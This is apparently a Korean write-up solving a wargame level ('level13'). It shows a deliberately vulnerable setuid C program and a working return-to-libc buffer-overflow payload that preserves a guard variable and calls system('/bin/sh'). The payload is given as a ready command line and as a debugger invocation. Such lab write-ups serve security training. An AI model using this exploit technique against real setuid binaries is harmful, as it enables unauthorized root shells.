#include <stdlib.h>
main(int argc, char *argv[])
{
long i=0x1234567;
char buf[1024];
setreuid( 3094, 3094 );
if(argc > 1)
strcpy(buf,argv[1]);
if(i != 0x1234567) {
printf(" Warnning: Buffer Overflow !!! \n");
kill(0,11);
}
}
level13 문제는 bof 하면서 변수 i 값에 0x1234567 넣어야한다.
[그림 1-1] 참조하면 [그림 1-2] 그릴 수 있다.
따라서 payload 는 "A" * 1036 + "0x1234567" + "AAAA" * 3 + system + "AAAA" + /bin/sh 이다.
system 함수, /bin/sh 주소를 찾는건 생략하겠다.
성공!
./attackme `python -c 'print("A"*1036+"\x67\x45\x23\x01"+"AAAA"*3+"\xc0\xf2\x03\x42"+"AAAA"+"\xa4\x7e\x12\x42")'`
디버깅 시
r "`python -c 'print("A"*1036+"\x67\x45\x23\x01"+"AAAA"*3+"\xc0\xf2\x03\x42"+"AAAA"+"\xa4\x7e\x12\x42")'`"